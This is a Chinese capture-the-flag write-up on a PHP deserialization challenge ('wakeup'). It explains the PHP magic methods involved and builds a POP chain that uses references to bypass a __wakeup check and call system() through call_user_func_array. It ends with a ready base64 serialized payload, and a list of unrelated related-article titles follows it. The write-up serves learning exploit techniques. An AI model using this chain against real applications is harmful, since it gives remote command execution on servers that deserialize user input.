• 使用引用&来给变量赋值
  • php反序列化

这道题打的时候没做出来,赛后看了别人的wp,看到是用引用来赋值,就自己复现出来了。

源码

<?phpclass KeyPort {public function __call($name, $arguments){if(!isset($this->wakeup)||!$this->wakeup){call_user_func_array($this->format[$name],$arguments);}}public function finish(){$this->format=array();return $this->finish->iffinish;}public function __wakeup(){$this->wakeup=True;}
}class ArrayObj{private $iffinish;public $name;public function __get($name){return $this->$name=$this->name[$name];}
}class SunCorpa {public function __destruct(){if ($this->process->finish()) {$this->process->forward($this->_forward);}}
}class MoonCorpa {public function __destruct(){if ($this->process->finish()) {$this->options['new']->forward($this->_forward);}}public function __wakeup(){}
}if($_GET['u']){unserialize(base64_decode($_GET['u']));
}else{highlight_file(__FILE__);
}

首先要先了解一点基本知识

基本知识

1.魔法函数__destruct()、__wakeup()

__destruct

拥有这个的类的对象在反序列化时,会先执行此对象的__destruct再执行此对象的成员属性的值的__destruct

即先执行外层再执行内层

__wakeup

拥有这个的类的对象在反序列化时,会先执行对象的成员属性的值的__wakeup再执行此对象的__wakeup

即先执行内层再执行外层

eg:

class A{public $c;public function __destruct(){echo 'A',PHP_EOL;}public function __wakeup(){echo 'a',PHP_EOL;}
}
class SampleClass {public $a;public function __destruct(){echo 'S',PHP_EOL;}public function __wakeup(){echo 's',PHP_EOL;}}
//$a=new SampleClass();
//$a->a=new A;
$a='O:11:"SampleClass":1:{s:1:"a";O:1:"A":1:{s:1:"c";N;}}';
unserialize($a);

输出

a
s
S
A

2.php引用&赋值

在php中可以使用引用的方式来让两个变量名指向同一个内存地址,这样在对一个变量进行操作的时候,另一个变量的值也会变

在函数中使用引用参数来修改传入参数的值

eg:

function test (&$a){$x=&$a;$x='123';
}
$x='11';
test($x);
echo $x;

输出

123

可以看见,函数外部的变量值也发生了改变

3.魔法函数__get、__call

__get

当类的成员属性被设定为 private 后,如果在类外部访问这个成员属性,那么就会触发__get()

访问不存在的成员属性也会触发__get

eg:

class C{private $a;public function __get($name){echo $name;}
}
$c=new C;
echo $c->a;
echo $c->b;

输出

ab

__call

PHP5 的对象新增了一个专用方法 __call(),这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在或被权限控制中的方法,__call 方法将会被自动调用。

<?php  class foo {  function __call($name,$arguments) {  print("Did you call me? I'm $name!");  }  } $x = new foo();  $x->doStuff();  $x->fancy_stuff();  ?>
//Did you call me? I'm doStuff!Did you call me? I'm fancy_stuff!

代码审计

只看到了call_user_func_array可以利用

关键在于如何进入__call且通过这个判断

if(!isset($this->wakeup)||!$this->wakeup)

要么不给wakeup赋值,要么控制wakeup为false

在反序列化后,会对KeyPort对象的wakeup进行赋值

所以通过引用来在__wakeup执行后还能对wakeup进行赋值

首先观察到有两个类可以执行__destruct

class SunCorpa {public function __destruct(){if ($this->process->finish()) {$this->process->forward($this->_forward);}}
}class MoonCorpa {public function __destruct(){if ($this->process->finish()) {$this->options['new']->forward($this->_forward);}}public function __wakeup(){}
}

且都执行$this->process->finish(),只是函数代码不同

可以先让一个返回false,另一个返回正常值

我们选择让SunCorpa的$this->process->finish()返回false

这里使用构造器的方式弄链子,否则有点麻烦

POP

class KeyPort {}
class MoonCorpa {}
class ArrayObj{private $iffinish;public $name;public function __construct(&$a){$this->iffinish=&$a;}
}class SunCorpa {public function __construct(){//第一部分,给wakeup赋值false$key=new KeyPort;$arr=new ArrayObj($key->wakeup);//使用这个方式让ArrayObj::iffinish引用wakeup,因为在后面会给ArrayObj::iffinish赋值,这样KeyPort::wakeup也会变$arr->name=array('iffinish'=>false);$this->key=$key;$this->arr=$arr;$this->process=$this->key;$this->key->finish=$arr;//第一部分结束,$this->key->wakeup被赋值为false//第二部分,因为在执行KetPort::finish()时,其format会被赋值为空数组,导致无法执行我们想要的函数,所以使用引用的方法来给format赋值$key2=new KeyPort();$moon=new MoonCorpa();//使用这个类的__destruct来进入到KeyPort的__call函数$this->moon=$moon;//让MoonCorpa对象成为此对象的成员$this->key2=$key2;$this->moon->process=$key2;$arr2=new ArrayObj($key->format);//让ArrayObj::iffinish引用$key->format$key2->finish=$arr2;$arr2->name=array('iffinish'=>array('forward'=>'system'));//给$key的format赋值为array('forward'=>'system')$this->moon->options=array('new'=>&$this->key);$this->moon->_forward='dir';//要执行的命令       }
$a=new SunCorpa();
echo base64_encode(serialize($a));
//Tzo4OiJTdW5Db3JwYSI6NTp7czozOiJrZXkiO086NzoiS2V5UG9ydCI6Mzp7czo2OiJ3YWtldXAiO047czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7UjozO3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjtiOjA7fX1zOjY6ImZvcm1hdCI7Tjt9czozOiJhcnIiO3I6NDtzOjc6InByb2Nlc3MiO3I6MjtzOjQ6Im1vb24iO086OToiTW9vbkNvcnBhIjozOntzOjc6InByb2Nlc3MiO086NzoiS2V5UG9ydCI6MTp7czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7Ujo3O3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjthOjE6e3M6NzoiZm9yd2FyZCI7czo2OiJzeXN0ZW0iO319fX1zOjc6Im9wdGlvbnMiO2E6MTp7czozOiJuZXciO1I6Mjt9czo4OiJfZm9yd2FyZCI7czo0OiJjYWxjIjt9czo0OiJrZXkyIjtyOjExO30=

本地执行

成功了,tmd

2022北京工业互联网安全大赛初赛-wakeup相关推荐

  1. 天山杯第二届新疆工业互联网安全大赛初赛--Who is a traitor流量分析wp

    资源下载地址: ``` 天山杯第二届新疆工业互联网安全大赛 https://download.csdn.net/download/rickliuxiao/86734942 ``` 题目提供了 Who ...

  2. 数字工业 弹性安全丨2022 Fortinet工业互联网安全发展峰会成功举办

    随着数字化转型的持续推进,工业互联网的作用和地位日益加强.而 OT 安全作为工业互联网体系不可或缺的部分,虽然受到越来越多企业的关注,但仍然面临着多方面的挑战.11月16日,一年一度的 OT 安全盛会 ...

  3. 2022中国可信链大赛初赛赛题全解

    所有的题目我都放在了代码仓库,由于太长就不放入wp了,感兴趣的可自行移步. 题目预览 TrusterLenderPool 分析 攻击 SVip 分析 攻击 Merkle 分析 攻击 OwnerBuy ...

  4. 2021年中国工业互联网安全大赛核能行业赛道writeup之日志分析

    附件题:日志分析 题目描述: 核电站新来的运维小王粗心把一个办公网地址映射到外网,遭到大量攻击,你能从日志当中找到有效信息吗. 附件下载: 2021-10-12T15_37_51.610646+00_ ...

  5. 2021年中国工业互联网安全大赛核能行业赛道writeup之入门的黑客

    附件题:入门的黑客 题目描述: 在某次工控攻防演练中,防守方使用蜜罐捕捉到了某黑客在入侵时留下的恶意程序样本,现在要对该黑客进行画像,需要从该恶意程序中分析出反连时的IP和端口信息,看看聪明的你能否能 ...

  6. 2021年中国工业互联网安全大赛核能行业赛道writeup之usb流量分析

    目录 一.USB协议 二.键盘流量 三.鼠标流量 四.writeup 附件题:usb流量分析 题目描述: 具体描述忘记了o(╯□╰)o 大概意思是有个U盘插到电脑上,然后经过一些操作导致该电脑重启了. ...

  7. 2021年中国工业互联网安全大赛核能行业赛道writeup之传统流量取证

    附件题:传统流量取证 题目描述: 在某次攻防演练中,小王发现流量探针平台突然告警,小王第一时间下载了告警流量包,并进行分析:发现攻击队攻击在攻入内网后,利用了一个内网OA的一个漏洞,获取了某机器权限, ...

  8. 2021年中国工业互联网安全大赛核能行业赛道writeup之Webshell密码

    附件题:Webshell密码 题目描述: 某次攻防演练中,抓到了一个webshell的流量,请分析出密码,flag形式:flag{密码} 附件下载: https://download.csdn.net ...

  9. 2021年中国工业互联网安全大赛核能行业赛道writeup之数据库登录

    附件题:数据库登录(一道MISC.流量分析类型题目) 题目描述: 具体描述已经忘记o(╯□╰)o 大概意思就是分析附件里的.pcapng包,找到flag.流量涉及到 MySQL 数据库了. 附件下载: ...

  10. 2021年中国工业互联网安全大赛核能行业赛道writeup之鱿鱼游戏

    目录 一.尝试 二.Writeup 附加题 鱿鱼游戏(来自最近一部很火的韩剧) 题目描述: 小王由于操作不规范,误将不明U盘插入到上位机中,导致上位机中的某些关键文件被加密,但攻击者在U盘中还留下了一 ...

最新文章

  1. UICollectionView的使用方法
  2. fragment切换事件
  3. Redis:从应用到底层,一文帮你搞定
  4. 52 个深度学习目标检测模型汇总,论文、源码一应俱全!(附链接)
  5. 手机经常提示找不到服务器,经常出现找不到服务器是什么原因?什么网也打 – 手机爱问...
  6. 下面关于微型计算机控制技术的叙述,(微型计算机控制技术选择题.docx
  7. web服务器 字体.svg/.woff/.woff2 404错误 解决方案
  8. Mysql 新建用户并分配所有权限
  9. 利用workerman+html开发简单的在线五子棋对战
  10. python输入4个数字_输入4个整数,要求按从小到大的顺序输出python
  11. 毕啸南专栏 | 对话百度王海峰:AI时代会产生新巨头
  12. Docker组队学习(二)
  13. C++ 预编译头文件stdafx.h
  14. C语言——函数的调用
  15. php设置excel列宽,excel列宽在哪里设置
  16. 产品 • 互联网产品经理和硬件产品经理
  17. 用计算机制作演示文稿教案博客,《制作多媒体演示文稿》教学案例
  18. [Codeforces266E]More Queries to Array...——线段树
  19. win7浏览器主页修改不过来_IE浏览器主页无法修改的两种解决办法
  20. kubernetes/k8s CRI 分析-kubelet删除pod分析

热门文章

  1. oracle授予directory读权限,Oracle对目录文件(directory)的读写操作
  2. Junit4初始化错误
  3. 网页资源不知道如何下载,我来教你
  4. R语言 面板数据分析 plm包实现(三)——面板数据与面板模型的检验
  5. matlab 辅助公差设计,尺寸公差辅助标注插件
  6. VM虚拟机搭建以及配置网络
  7. 项目组自己编写的js分页标签(百度分页)
  8. iphone12文件管理连接服务器,iPhone手机打开服务器功能,和Windows电脑互传文件方法...
  9. VMware虚拟机复制文件卡死的问题
  10. coodblock调试_codeblocks怎么调试?